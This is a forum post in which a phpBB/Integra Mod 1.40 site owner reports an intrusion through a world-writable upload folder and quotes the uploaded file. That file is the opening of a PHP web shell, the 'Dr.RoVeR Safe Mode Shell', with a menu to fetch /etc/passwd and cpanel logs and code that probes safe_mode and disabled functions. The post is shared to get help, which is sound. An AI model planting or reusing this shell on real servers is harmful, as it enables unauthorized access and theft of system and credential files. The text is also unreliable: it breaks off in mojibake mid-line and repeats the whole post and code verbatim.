Someone tried to hack me (v 1.40)

First off, I know that there are more up to date versions that are available of IM MOD and phpBB. So i do run this risk knowingly. However after the last nightmarish forced upgrade of my php and sql I am a little gun shy about making the upgrade right now. Plus I don't have the time.
on 04.08/07 I noticed some new files being accessed in my IM_MOD_140/files directory. The IM_MOD_140 is the root directory for Integra Mod 1.40. the permissions for the files folder was 777. I don't think i changed this and believe it was default. However I could be wrong.
This file was uploaded, I will quote the code, if that is improper have a mod remove the code.
[php]<head>
<meta>
</head>
<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style>
<p><b><font>!</font><font><a><span><font>
Dr.RoVeR SaFe Mode SheLL <img> </font></span></a></font><font>!</font></b></p>
<form>
<p><input>
<input></p>
</form>
<form>
<p><select>
<option>Get /etc/passwd</option>
<option>View cpanel logs</option>
<option>Syslog configuration</option>
<option>Hosts</option>
</select> <input></p>
</form>
<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Dr.RoVeR <H>
*/
echo "<head><title>Safe Mode Shell</title></head>";
$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "<font>ON (secure)</font>";
}
else {$safemode = false; $hsafemode = "<font>OFF (not secure)</font>";}
echo("Safe-mode: $hsafemode");
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font>".$v."</font>";}
else {$openbasedir = false; $hopenbasedir = "<font>OFF (not secure)</font>";}
echo("<br>");
echo("Open base dir: $hopenbasedir");
echo("<br>");
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font>NONE</font></b>";}else{echo "<font>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
echo "<PRE>n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die(" <FONT>
<big> --------------------------Ãà ¢Ã¢â€š ¬Ã‚ ¡ÃƒÆ’ƒÂ
on 04.08/07 I noticed some new files being accessed in my IM_MOD_140/files directory. The IM_MOD_140 is the root directory for Integra Mod 1.40. the permissions for the files folder was 777. I don't think i changed this and believe it was default. However I could be wrong.
This file was uploaded, I will quote the code, if that is improper have a mod remove the code.
[php]<head>
<meta>
</head>
<STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style>
<p><b><font>!</font><font><a><span><font>
Dr.RoVeR SaFe Mode SheLL <img> </font></span></a></font><font>!</font></b></p>
<form>
<p><input>
<input></p>
</form>
<form>
<p><select>
<option>Get /etc/passwd</option>
<option>View cpanel logs</option>
<option>Syslog configuration</option>
<option>Hosts</option>
</select> <input></p>
</form>
<?php
/*
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2
by Dr.RoVeR <H>
*/
echo "<head><title>Safe Mode Shell</title></head>";
$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "<font>ON (secure)</font>";
}
else {$safemode = false; $hsafemode = "<font>OFF (not secure)</font>";}
echo("Safe-mode: $hsafemode");
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font>".$v."</font>";}
else {$openbasedir = false; $hopenbasedir = "<font>OFF (not secure)</font>";}
echo("<br>");
echo("Open base dir: $hopenbasedir");
echo("<br>");
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font>NONE</font></b>";}else{echo "<font>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
echo "<PRE>n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die(" <FONT>
<big> --------------------------Ãà ¢Ã¢â€š ¬Ã‚ ¡ÃƒÆ’ƒÂ